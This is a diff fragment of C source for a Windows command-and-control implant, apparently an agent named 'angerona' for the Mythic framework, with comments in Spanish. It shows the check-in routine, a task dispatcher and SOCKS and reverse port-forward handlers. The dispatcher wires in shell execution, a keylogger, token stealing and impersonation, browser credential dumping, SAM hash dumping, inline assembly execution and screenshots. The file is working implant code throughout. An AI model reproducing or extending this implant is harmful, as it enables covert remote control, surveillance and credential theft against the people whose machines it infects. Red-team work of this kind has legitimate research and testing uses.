char domain_narrow[256] = {0};
|
||||
WideCharToMultiByte(CP_ACP, 0, domain, -1, domain_narrow, sizeof(domain_narrow), NULL, NULL);
|
||||
snprintf(initial_user, sizeof(initial_user), "%s\\%s", domain_narrow, username);
|
||||
} else {
|
||||
// Use hostname as domain if domain is empty
|
||||
char* hostname = obtenerHostame();
|
||||
if (hostname && strlen(hostname) > 0) {
|
||||
snprintf(initial_user, sizeof(initial_user), "%s\\%s", hostname, username);
|
||||
} else {
|
||||
strncpy(initial_user, username, sizeof(initial_user) - 1);
|
||||
}
|
||||
}
|
||||
setImpersonationContext(initial_user);
|
||||
addCallbackContext(checkin, "impersonation_context", initial_user);
|
||||
_inf("Checkin: Añadido impersonation_context inicial (fallback): %s", initial_user);
|
||||
} else {
|
||||
_wrn("Checkin: No se pudo obtener username para impersonation_context");
|
||||
}
|
||||
}
|
||||
|
||||
_inf("Checkin: Tamaño del paquete antes de enviar: %zu bytes", checkin->length);
|
||||
|
||||
// === When mythic_encrypts=True, agent sends plaintext ===
|
||||
// The C2 profile (HTTP) handles encryption at HTTP layer
|
||||
// No need for ECC key exchange in checkin
|
||||
_dbg("Enviando paquete inicial (plaintext, C2 profile handles encryption)");
|
||||
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
||||
liberarPaquete(checkin);
|
||||
|
||||
if (!respuestaAnalizador) {
|
||||
_err("Error: respuestaAnalizador NULL. Cierre inminente");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_dbg("checkin(): respuesta recibida, procesando tráfico SOCKS si existe");
|
||||
procesarSocksEntrante(respuestaAnalizador);
|
||||
|
||||
_dbg("checkin(): completado");
|
||||
return respuestaAnalizador;
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef CHECKIN_H
|
||||
#define CHECKIN_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <lm.h>
|
||||
#include <lmwksta.h>
|
||||
#include "paquete.h"
|
||||
#include "transporte.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
#include "socks_manager.h" // <— añadido
|
||||
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
|
||||
PAnalizador checkin(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,611 @@
|
||||
#include "angerona.h"
|
||||
#include "comandos.h"
|
||||
#include "socks_manager.h"
|
||||
#include "rpfwd_manager.h"
|
||||
#include "paquete.h"
|
||||
|
||||
/* Forward: handlers for the new commands */
|
||||
#ifdef ENABLE_SOCKS_CMD
|
||||
static void startSocksHandler(PAnalizador analizadorTarea);
|
||||
static void stopSocksHandler(PAnalizador analizadorTarea);
|
||||
#endif
|
||||
#ifdef ENABLE_RPFWD_CMD
|
||||
static void startRpfwdHandler(PAnalizador analizadorTarea);
|
||||
static void stopRpfwdHandler(PAnalizador analizadorTarea);
|
||||
#endif
|
||||
|
||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
_inf("========== handleGetTasking INICIO ==========");
|
||||
_inf("Buffer disponible: %zu bytes", obtenerTarea->tamano);
|
||||
|
||||
if (obtenerTarea->tamano < 4) {
|
||||
_err("ERROR: Buffer demasiado pequeño para leer número de tareas (size=%zu, need=4)", obtenerTarea->tamano);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Leer número de tareas (4 bytes)
|
||||
UINT32 numeroTareas = getInt32(obtenerTarea);
|
||||
_inf("Número de tareas leído: %u, buffer restante después de leer numeroTareas: %zu bytes", numeroTareas, obtenerTarea->tamano);
|
||||
|
||||
if (numeroTareas == 0) {
|
||||
_inf("No hay tareas pendientes");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (obtenerTarea->tamano == 0 && numeroTareas > 0) {
|
||||
_err("ERROR CRÍTICO: numeroTareas=%u pero buffer está vacío (0 bytes). Formato incorrecto!", numeroTareas);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||
_inf("========== PROCESANDO TAREA %u/%u ==========", i+1, numeroTareas);
|
||||
_inf("Tarea %u: Buffer restante antes de leer tamaño: %zu bytes", i+1, obtenerTarea->tamano);
|
||||
|
||||
if (obtenerTarea->tamano < 4) {
|
||||
_err("Tarea %u: Buffer insuficiente para leer tamaño (restante=%zu, need=4)", i+1, obtenerTarea->tamano);
|
||||
break;
|
||||
}
|
||||
|
||||
// Formato: [task_size (4)][command_code (1)][task_id + parameters...]
|
||||
// task_size incluye el command_code + task_id + parameters
|
||||
SIZE_T tamanoTarea = getInt32(obtenerTarea);
|
||||
_inf("Tarea %u: Tamaño total leído: %zu bytes, buffer restante: %zu bytes", i+1, tamanoTarea, obtenerTarea->tamano);
|
||||
|
||||
if (tamanoTarea == 0 || tamanoTarea > 1000000) {
|
||||
_err("Tarea %u: Tamaño inválido %zu (0x%zX), saltando tarea", i+1, tamanoTarea, tamanoTarea);
|
||||
_err("Tarea %u: Posible desincronización del buffer, bytes restantes=%zu", i+1, obtenerTarea->tamano);
|
||||
break; // No continue, sino break porque si el tamaño está mal, todas las siguientes también lo estarán
|
||||
}
|
||||
|
||||
if (obtenerTarea->tamano < 1) {
|
||||
_err("Tarea %u: Buffer insuficiente para leer command_code (restante=%zu, need=1)", i+1, obtenerTarea->tamano);
|
||||
break;
|
||||
}
|
||||
|
||||
// Leer el command_code (1 byte)
|
||||
BYTE tarea = getByte(obtenerTarea);
|
||||
_inf("Tarea %u: Comando recibido: 0x%02X, buffer restante: %zu bytes", i+1, tarea, obtenerTarea->tamano);
|
||||
|
||||
// El tamaño restante es tamanoTarea - 1 (ya leímos el command_code)
|
||||
tamanoTarea = tamanoTarea - 1;
|
||||
_inf("Tarea %u: Tamaño restante después de command_code: %zu bytes", i+1, tamanoTarea);
|
||||
// Debug: log specific command types
|
||||
if (tarea == START_RPFWD_CMD) {
|
||||
_inf(">>> START_RPFWD_CMD (0x%02X) detectado <<<", tarea);
|
||||
} else if (tarea == STOP_RPFWD_CMD) {
|
||||
_inf(">>> STOP_RPFWD_CMD (0x%02X) detectado <<<", tarea);
|
||||
} else if (tarea == KEYLOG_START_CMD) {
|
||||
_inf(">>> KEYLOG_START_CMD (0x%02X) detectado <<<", tarea);
|
||||
} else if (tarea == KEYLOG_STOP_CMD) {
|
||||
_inf(">>> KEYLOG_STOP_CMD (0x%02X) detectado <<<", tarea);
|
||||
}
|
||||
|
||||
// Leer el buffer de la tarea (task_id + parameters)
|
||||
if (obtenerTarea->tamano < tamanoTarea) {
|
||||
_err("Tarea %u: Buffer insuficiente para leer tarea completa (restante=%zu, need=%zu)",
|
||||
i+1, obtenerTarea->tamano, tamanoTarea);
|
||||
break;
|
||||
}
|
||||
|
||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||
if (!bufferTarea) {
|
||||
_err("Tarea %u: ERROR: getBytes retornó NULL (tamaño esperado=%zu, buffer restante=%zu)",
|
||||
i+1, tamanoTarea, obtenerTarea->tamano);
|
||||
break;
|
||||
}
|
||||
_inf("Tarea %u: Buffer obtenido, tamaño=%zu bytes, buffer restante después: %zu bytes",
|
||||
i+1, tamanoTarea, obtenerTarea->tamano);
|
||||
|
||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||
if (!analizadorTarea) {
|
||||
_err("ERROR: nuevoAnalizador retornó NULL para tarea %u", i+1);
|
||||
LocalFree(bufferTarea);
|
||||
continue;
|
||||
}
|
||||
_inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1);
|
||||
|
||||
#ifdef ENABLE_SHELL_CMD
|
||||
if (tarea == SHELL_CMD){
|
||||
_inf("Tarea %u: Ejecutando SHELL_CMD", i+1);
|
||||
ejecutarConsola(analizadorTarea);
|
||||
} else if (tarea == EXIT_CMD) {
|
||||
#else
|
||||
if (tarea == EXIT_CMD) {
|
||||
#endif
|
||||
cerrarCallback(analizadorTarea);
|
||||
} else if (tarea == SLEEP_CMD){
|
||||
sleep(analizadorTarea);
|
||||
}
|
||||
#ifdef ENABLE_PS_CMD
|
||||
else if (tarea == PROCESS_CMD){
|
||||
listarProcesos(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_CD_CMD
|
||||
else if (tarea == CD_CMD) {
|
||||
CambiarDirectorio(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_LS_CMD
|
||||
else if (tarea == LS_CMD) {
|
||||
ListarDirectorio(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_PWD_CMD
|
||||
else if (tarea == PWD_CMD) {
|
||||
ObtenerPath(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_CP_CMD
|
||||
else if (tarea == CP_CMD) {
|
||||
CopiarFichero(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_MKDIR_CMD
|
||||
else if (tarea == MKDIR_CMD) {
|
||||
CrearRuta(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_RM_CMD
|
||||
else if (tarea == RM_CMD) {
|
||||
EliminarRuta(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_CAT_CMD
|
||||
else if (tarea == CAT_CMD) {
|
||||
LeerFichero(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_DOWNLOAD_CMD
|
||||
else if (tarea == DOWNLOAD_CMD) {
|
||||
DescargarFichero(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_UPLOAD_CMD
|
||||
else if (tarea == UPLOAD_CMD) {
|
||||
SubirFichero(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_SCREENSHOT_CMD
|
||||
else if (tarea == SCREENSHOT_CMD) {
|
||||
CapturarPantalla(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_SOCKS_CMD
|
||||
else if (tarea == START_SOCKS_CMD) {
|
||||
_dbg("Received START_SOCKS_CMD");
|
||||
startSocksHandler(analizadorTarea);
|
||||
} else if (tarea == STOP_SOCKS_CMD) {
|
||||
_dbg("Received STOP_SOCKS_CMD");
|
||||
stopSocksHandler(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_RPFWD_CMD
|
||||
else if (tarea == START_RPFWD_CMD) {
|
||||
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
|
||||
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
|
||||
startRpfwdHandler(analizadorTarea);
|
||||
_inf("Tarea %u: startRpfwdHandler() retornó", i+1);
|
||||
} else if (tarea == STOP_RPFWD_CMD) {
|
||||
_dbg("Received STOP_RPFWD_CMD");
|
||||
stopRpfwdHandler(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_KEYLOG_START_CMD
|
||||
else if (tarea == KEYLOG_START_CMD) {
|
||||
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
|
||||
StartKeylogger(analizadorTarea);
|
||||
_inf("===== KEYLOG_START_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_KEYLOG_STOP_CMD
|
||||
else if (tarea == KEYLOG_STOP_CMD) {
|
||||
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
||||
StopKeylogger(analizadorTarea);
|
||||
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_LIST_TOKENS_CMD
|
||||
else if (tarea == LIST_TOKENS_CMD) {
|
||||
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
|
||||
ListarTokens(analizadorTarea);
|
||||
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_STEAL_TOKEN_CMD
|
||||
else if (tarea == STEAL_TOKEN_CMD) {
|
||||
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
|
||||
RobarToken(analizadorTarea);
|
||||
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_MAKE_TOKEN_CMD
|
||||
else if (tarea == MAKE_TOKEN_CMD) {
|
||||
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
|
||||
CrearToken(analizadorTarea);
|
||||
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_REV2SELF_CMD
|
||||
else if (tarea == REV2SELF_CMD) {
|
||||
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
|
||||
RevertirToken(analizadorTarea);
|
||||
_inf("===== REV2SELF_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_WHOAMI_CMD
|
||||
else if (tarea == WHOAMI_CMD) {
|
||||
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
|
||||
ObtenerUsuarioActual(analizadorTarea);
|
||||
_inf("===== WHOAMI_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_KILL_CMD
|
||||
else if (tarea == KILL_CMD) {
|
||||
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
|
||||
MatarProceso(analizadorTarea);
|
||||
_inf("===== KILL_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_BROWSER_INFO_CMD
|
||||
else if (tarea == BROWSER_INFO_CMD) {
|
||||
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
|
||||
IdentificarNavegadores(analizadorTarea);
|
||||
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_BROWSER_DUMP_CMD
|
||||
else if (tarea == BROWSER_DUMP_CMD) {
|
||||
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
|
||||
DumparNavegador(analizadorTarea);
|
||||
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_SAMDUMP_CMD
|
||||
else if (tarea == SAMDUMP_CMD) {
|
||||
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
|
||||
SamDumpHandler(analizadorTarea);
|
||||
_inf("===== SAMDUMP_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_INLINE_EXECUTE_CMD
|
||||
else if (tarea == INLINE_EXECUTE_CMD) {
|
||||
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
|
||||
InlineExecuteHandler(analizadorTarea);
|
||||
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
|
||||
}
|
||||
#endif
|
||||
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
|
||||
else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
|
||||
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
||||
// This command is typically handled via subtasks in Python
|
||||
// But if called directly, we'll handle it here
|
||||
_wrn("inline_execute_assembly should be called via subtasks");
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
else {
|
||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
||||
// liberar analizador si no será usado por otro handler
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
if (bufferTarea) LocalFree(bufferTarea);
|
||||
}
|
||||
|
||||
_inf("Tarea %u: Procesamiento completado, buffer restante final: %zu bytes", i+1, obtenerTarea->tamano);
|
||||
}
|
||||
|
||||
_inf("========== handleGetTasking FIN ==========");
|
||||
_inf("Buffer final restante: %zu bytes", obtenerTarea->tamano);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL commandDispatch(PAnalizador respuesta) {
|
||||
_dbg("Respuesta tiene %zu bytes", respuesta->tamano);
|
||||
|
||||
// Debug: imprimir primeros bytes
|
||||
if (respuesta->tamano > 0) {
|
||||
_dbg("Primeros 8 bytes: ");
|
||||
for (SIZE_T i = 0; i < (respuesta->tamano > 8 ? 8 : respuesta->tamano); i++) {
|
||||
_dbg(" 0x%02X ", respuesta->original[i]);
|
||||
}
|
||||
}
|
||||
|
||||
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
|
||||
// Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...]
|
||||
// Necesitamos leer y verificar el UUID primero
|
||||
SIZE_T uuidLen = 36;
|
||||
PCHAR callback_uuid = getString(respuesta, &uuidLen);
|
||||
_dbg("UUID del callback: %.*s", (int)uuidLen, callback_uuid);
|
||||
|
||||
// Verificar que el UUID sea correcto (opcional, para debug)
|
||||
if (uuidLen != 36) {
|
||||
_wrn("UUID length is not 36 bytes (%zu)", uuidLen);
|
||||
}
|
||||
|
||||
BYTE tipoRespuesta = getByte(respuesta);
|
||||
_inf("Tipo de respuesta: 0x%02X, buffer restante después de leer tipo: %zu bytes", tipoRespuesta, respuesta->tamano);
|
||||
|
||||
if (tipoRespuesta == GET_TASKING) {
|
||||
_inf("Llamando handleGetTasking() con buffer restante: %zu bytes", respuesta->tamano);
|
||||
return handleGetTasking(respuesta);
|
||||
}
|
||||
else if (tipoRespuesta == POST_RESPONSE) {
|
||||
_dbg("Respuesta POST_RESPONSE");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
_wrn("Tipo desconocido");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
||||
|
||||
// === IMPORTANTE: Cuando mythic_encrypts=True, Mythic agrega el UUID del callback al inicio ===
|
||||
// Formato: [UUID (36 bytes)][Tipo de mensaje][Datos...]
|
||||
// Primero leemos el UUID que Mythic agrega
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR callback_uuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||
_dbg("UUID del callback recibido: %.*s", (int)tamanoUuid, callback_uuid);
|
||||
|
||||
// Luego leemos el tipo de mensaje
|
||||
BYTE tipoMensaje = getByte(respuestaAnalizador);
|
||||
if (tipoMensaje != CHECKIN) {
|
||||
_err("Expected CHECKIN (0x%02X) but got 0x%02X", CHECKIN, tipoMensaje);
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Leer el nuevo UUID del agente
|
||||
tamanoUuid = 36;
|
||||
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||
setUUID(nuevoUuid);
|
||||
|
||||
_dbg("Tenemos nuevo UUID ! --> %s", nuevoUuid);
|
||||
|
||||
// === Nota: Cifrado AESPSK ya inicializado en angeronaMain() ===
|
||||
// La clave AES se inyecta en tiempo de compilación, no se deriva en runtime
|
||||
|
||||
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL rutina() {
|
||||
|
||||
_dbg("Enviando GET_TASKING...");
|
||||
|
||||
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
||||
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
||||
|
||||
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
||||
// sin respuesta
|
||||
if (!respuestaAnalizador) {
|
||||
_err("No se recibió respuesta");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_dbg("Respuesta recibida, dispatch...");
|
||||
|
||||
commandDispatch(respuestaAnalizador);
|
||||
|
||||
liberarPaquete(obtenerTarea);
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
// Sleep - YA NO se duerme aquí, se duerme en el bucle principal
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
||||
#ifdef ENABLE_SOCKS_CMD
|
||||
/* ============================
|
||||
START_SOCKS_CMD handler
|
||||
Expected params (in this order inside the task buffer):
|
||||
- 36 bytes: UUID del task
|
||||
- UINT32 LocalPort (optional). If absent or zero -> default 1080.
|
||||
Behavior:
|
||||
- call socks_manager_init()
|
||||
- call socks_manager_start_proxy(local_port)
|
||||
- send response back to Mythic
|
||||
============================ */
|
||||
static void startSocksHandler(PAnalizador analizadorTarea) {
|
||||
_dbg("startSocksHandler() enter");
|
||||
|
||||
// Leer el UUID del task (primeros 36 bytes)
|
||||
SIZE_T uuidLen = 36;
|
||||
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||
|
||||
// SOCKS usa formato especial sin nbArg, lee puerto directamente
|
||||
// Formato: UUID (36) + puerto (4)
|
||||
UINT32 localPort = (UINT32)getInt32(analizadorTarea);
|
||||
_dbg("startSocksHandler: taskId=%.*s port=%u", 36, taskUuid, localPort);
|
||||
|
||||
if (localPort == 0) localPort = 1080;
|
||||
|
||||
// initialize socks manager (idempotent)
|
||||
socks_manager_init();
|
||||
|
||||
int rc = socks_manager_start_proxy((uint16_t)localPort);
|
||||
|
||||
// Crear respuesta para Mythic
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||
|
||||
// Crear paquete temporal para el output
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
if (rc == 0) {
|
||||
_dbg("socks_manager_start_proxy(%u) OK", localPort);
|
||||
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy started on port %u\n", localPort);
|
||||
} else {
|
||||
_err("socks_manager_start_proxy(%u) rc=%d", localPort, rc);
|
||||
PackageAddFormatPrintf(salida, FALSE, "Failed to start SOCKS proxy on port %u (rc=%d)\n", localPort, rc);
|
||||
}
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Enviar respuesta
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
}
|
||||
|
||||
/* ============================
|
||||
STOP_SOCKS_CMD handler
|
||||
Expected params:
|
||||
- 36 bytes: UUID del task
|
||||
Behavior:
|
||||
- call socks_manager_stop_proxy()
|
||||
- call socks_manager_cleanup()
|
||||
- send response back to Mythic
|
||||
============================ */
|
||||
static void stopSocksHandler(PAnalizador analizadorTarea) {
|
||||
_dbg("stopSocksHandler() enter");
|
||||
|
||||
// Leer el UUID del task (primeros 36 bytes)
|
||||
SIZE_T uuidLen = 36;
|
||||
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||
_dbg("stopSocksHandler: taskId=%.*s", 36, taskUuid);
|
||||
|
||||
int rc = socks_manager_stop_proxy();
|
||||
_dbg("socks_manager_stop_proxy() rc=%d", rc);
|
||||
|
||||
socks_manager_cleanup();
|
||||
_dbg("socks_manager_cleanup() done");
|
||||
|
||||
// Crear respuesta para Mythic
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||
|
||||
// Crear paquete temporal para el output
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salida, FALSE, "SOCKS proxy stopped\n");
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Enviar respuesta
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef ENABLE_RPFWD_CMD
|
||||
/* ============================
|
||||
START_RPFWD_CMD handler
|
||||
Expected params (in this order inside the task buffer):
|
||||
- 36 bytes: UUID del task
|
||||
- UINT32 LocalPort (optional). If absent or zero -> default 8080.
|
||||
Behavior:
|
||||
- call rpfwd_manager_init()
|
||||
- call rpfwd_manager_start_listener(local_port)
|
||||
- send response back to Mythic
|
||||
============================ */
|
||||
static void startRpfwdHandler(PAnalizador analizadorTarea) {
|
||||
_dbg("startRpfwdHandler() enter");
|
||||
_inf("===== PROCESSING START_RPFWD_CMD (0x62) =====");
|
||||
|
||||
// Leer el UUID del task (primeros 36 bytes)
|
||||
SIZE_T uuidLen = 36;
|
||||
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||
if (!taskUuid || uuidLen != 36) {
|
||||
_err("startRpfwdHandler: Error leyendo UUID (len=%zu)", uuidLen);
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
return;
|
||||
}
|
||||
|
||||
// Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4) + param2 (4)...
|
||||
UINT32 nbArg = getInt32(analizadorTarea);
|
||||
_dbg("startRpfwdHandler: nbArg=%u", nbArg);
|
||||
|
||||
// Leer el puerto (primer parámetro)
|
||||
UINT32 localPort = 0;
|
||||
if (nbArg > 0) {
|
||||
localPort = (UINT32)getInt32(analizadorTarea);
|
||||
_dbg("startRpfwdHandler: leído puerto=%u", localPort);
|
||||
}
|
||||
|
||||
_dbg("startRpfwdHandler: taskId=%.*s nbArg=%u port=%u", 36, taskUuid, nbArg, localPort);
|
||||
|
||||
if (localPort == 0) localPort = 8080; // Default RPFWD port
|
||||
|
||||
// initialize rpfwd manager (idempotent)
|
||||
rpfwd_manager_init();
|
||||
|
||||
int rc = rpfwd_manager_start_listener((uint16_t)localPort);
|
||||
|
||||
// Crear respuesta para Mythic
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||
|
||||
// Crear paquete temporal para el output
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
if (rc == 0) {
|
||||
_inf("rpfwd_manager_start_listener(%u) OK", localPort);
|
||||
PackageAddFormatPrintf(salida, FALSE, "Reverse port forward started on port %u\n", localPort);
|
||||
PackageAddFormatPrintf(salida, FALSE, "Connections to %s:%u (agent) will be forwarded to remote host\n",
|
||||
"0.0.0.0", localPort);
|
||||
|
||||
// Add Network Connection artifact
|
||||
char artifact_buf[256];
|
||||
snprintf(artifact_buf, sizeof(artifact_buf), "Reverse Port Forward listener started on port %u", localPort);
|
||||
addArtifact(respuesta, "Network Connection", artifact_buf);
|
||||
} else {
|
||||
_err("rpfwd_manager_start_listener(%u) rc=%d", localPort, rc);
|
||||
if (rc == 1) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u\n", localPort);
|
||||
PackageAddFormatPrintf(salida, FALSE, "Error: Port may be in use or requires administrator privileges (WSAError=10013)\n");
|
||||
PackageAddFormatPrintf(salida, FALSE, "Try using a non-privileged port (e.g., 8080, 4444, 5555)\n");
|
||||
} else {
|
||||
PackageAddFormatPrintf(salida, FALSE, "Failed to start reverse port forward on port %u (rc=%d)\n", localPort, rc);
|
||||
}
|
||||
}
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Enviar respuesta
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
}
|
||||
|
||||
/* ============================
|
||||
STOP_RPFWD_CMD handler
|
||||
Expected params:
|
||||
- 36 bytes: UUID del task
|
||||
Behavior:
|
||||
- call rpfwd_manager_stop_listener()
|
||||
- send response back to Mythic
|
||||
============================ */
|
||||
static void stopRpfwdHandler(PAnalizador analizadorTarea) {
|
||||
_dbg("stopRpfwdHandler() enter");
|
||||
|
||||
// Leer el UUID del task (primeros 36 bytes)
|
||||
SIZE_T uuidLen = 36;
|
||||
PCHAR taskUuid = getString(analizadorTarea, &uuidLen);
|
||||
_dbg("stopRpfwdHandler: taskId=%.*s", 36, taskUuid);
|
||||
|
||||
int rc = rpfwd_manager_stop_listener();
|
||||
_dbg("rpfwd_manager_stop_listener() rc=%d", rc);
|
||||
|
||||
// Crear respuesta para Mythic
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||
addString(respuesta, taskUuid, FALSE); // Task UUID
|
||||
|
||||
// Crear paquete temporal para el output
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salida, FALSE, "Reverse port forward stopped\n");
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Enviar respuesta
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,83 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef COMMANDOS
|
||||
#define COMMANDOS
|
||||
|
||||
#include "analizador.h"
|
||||
#include "paquete.h"
|
||||
#include "consola.h"
|
||||
#include "cerrarCallback.h"
|
||||
#include "sleep.h"
|
